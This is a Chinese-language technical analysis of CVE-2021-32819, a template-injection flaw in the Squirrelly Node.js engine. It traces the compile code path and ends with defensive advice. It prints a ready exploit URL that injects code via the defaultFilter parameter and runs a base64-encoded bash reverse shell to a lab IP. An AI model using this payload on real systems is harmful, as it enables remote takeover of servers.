compile
image-20210726000528675
- str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容:
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
- env:是一组编译选项
{ varName: "it", autoTrim: [ false, "nl", ], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... }
compile 函数将编译选项定义为 env,然后在创建一个名为 ctor 的函数构造的别名,然后返回一个新的构造函数,最后进入到 compileToString 函数。跟进 compileToString。
compileToString
image-20210726001614555
- str:该参数是前面通过 handleCache 函数获取到的模板文件(index.squirrelly)的内容
"<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>{{it.variable}}</h1>\n</body>\n</html>"
- env:是一组编译选项
{ varName: "it", autoTrim: [ false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: {}, ... }
compileToString 函数定义一个 buffer 缓冲区并调用解析函数 parse 来解析模板内容及其变量:
[ "<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", { f: [ ], c: "it.variable", t: "i", }, "</h1>\\n</body>\\n</html>", ]
其中 compileToString 函数调用了 compileScope 函数,跟进 compileScope。
compileScope
export function compileScope (buff: Array<AstObject>, env: SqrlConfig) { var i = 0 var buffLength = buff.length var returnStr = '' for (i; i < buffLength; i++) { var currentBlock = buff[i] if (typeof currentBlock === 'string') { var str = currentBlock returnStr += "tR+='" + str + "';" } else { var type: ParsedTagType = currentBlock.t as ParsedTagType // h, s, e, i var content = currentBlock.c || '' var filters = currentBlock.f var name = currentBlock.n || '' var params = currentBlock.p || '' var res = currentBlock.res || '' var blocks = currentBlock.b var isAsync = !!currentBlock.a if (type === 'i') { if (env.defaultFilter) { content = "c.l('F','" + env.defaultFilter + "')(" + content + ')' } var filtered = filter(content, filters) if (!currentBlock.raw && env.autoEscape) { filtered = "c.l('F','e')(" + filtered + ')' } returnStr += 'tR+=' + filtered + ';' } else if (type === 'h') { ... } else if (type === 's') { ... } else if (type === 'e') { ... } } } return returnStr }
- buff:一个包含之前解析生成的模板内容的数组
[ "<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", { f: [ ], c: "it.variable", t: "i", }, "</h1>\\n</body>\\n</html>", ]
- env:是一组编译选项
{ varName: "it", autoTrim: [false, "nl"], autoEscape: true, defaultFilter: false, ..., variable: "HelloWorld", _locals: { }, ... }
compileScope 中主要就是一个 for 循环,遍历 buff 中的模板内容,如果元素是一个字符串,它会将字符串添加到 returnStr 变量中。如果它不是字符串,则继续执行 else 部分。
其中第一个元素 buff[0]和最后一个元素 buff[2] 是一个字符串:
[ "<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>", ...... "</h1>\\n</body>\\n</html>", ]
中间的元素 buff[1] 是一个对象:
{ f: [], c: "it.variable", t: "i", }
compileScope 函数会检查 env.defaultFilter 是否设置了,如果有设置 env.defaultFilter,则将 env.defaultFilter 的值添加到 content 变量中。但是现在 env.defaultFilter 还是没有被设置的。然后 filter 函数将 content 内容返回给 filtered 变量:
tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\\n</body>\\n</html>';
最后将 filtered 的内容添加到 returnStr 变量中并返回给 compileToString 函数作用域的 res 变量中,然后再由 compileToString 函数将 res 变量的内容拼接成一个匿名函数,内容如下:
var res = "var tR='';" + "tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>';tR+=c.l('F','e')(it.variable);tR+='</h1>\\n</body>\\n</html>';" + 'if(cb){cb(null,tR)} return tR' // it.variable 的值为 HelloWorld
当返回到 handleCache 函数时,将会执行匿名函数:
(function anonymous(it,c,cb ) { var tR=''; tR+='<!DOCTYPE html>\n<html>\n <head>\n <title>CVE-2021-32819</title>\n <h1>Test For CVE-2021-32819</h1>\n </head>\n<body>\n <h1>'; tR+=c.l('F','e')(it.variable); tR+='</h1>\n</body>\n</html>'; if(cb){cb(null,tR)} return tR })
看到这里你应该就明白了。这个漏洞主要的引入点就是 compileScope 函数中的 env.defaultFilter,我们可以通过 URL 中的参数来覆盖这个配置属性的值,比如:/?defaultFilter=payload 可以将 env.defaultFilter 的值覆盖为我们的 payload。并且一旦设置了 env.defaultFilter 的值,将进入到以下代码:
content = "c.l('F','" + env.defaultFilter + "')(" + content + ')';
可知我们可以通过设置 env.defaultFilter 的值来注入希望执行的代码。所以该漏洞利用的 Payload 如下:
http://192.168.226.148:3000/?defaultFilter=e')); let require = global.require || global.process.mainModule.constructor._load; require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIyNi4xNDMvMjMzMyAgMD4mMQ==|base64 -d|bash'); // # 使用时需进行 URL 编码
可能受到该漏洞影响的项目
分析github上100星以上的项目,共有380个项目使用了squirrelly组件,其中有42个项目使用了存在漏洞的8.0.8版本,具体的项目清单如下,有使用的TX可以自查一下:
漏洞防御措施
该漏洞到目前为止还没有被修复,所以如果你在项目中使用了 Squirrelly 组件,那么都需要小心该类型漏洞的出现。而对于不得已必须使用这种技术的项目,最好做好防御措施,包括:
- 降低运行该进程的用户的权限
- 限制该进程可以访问的路径
- 对用户输入进行白名单控制
- 对于该进程可以执行的操作系统命令做白名单控制
Ending......
参考:
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/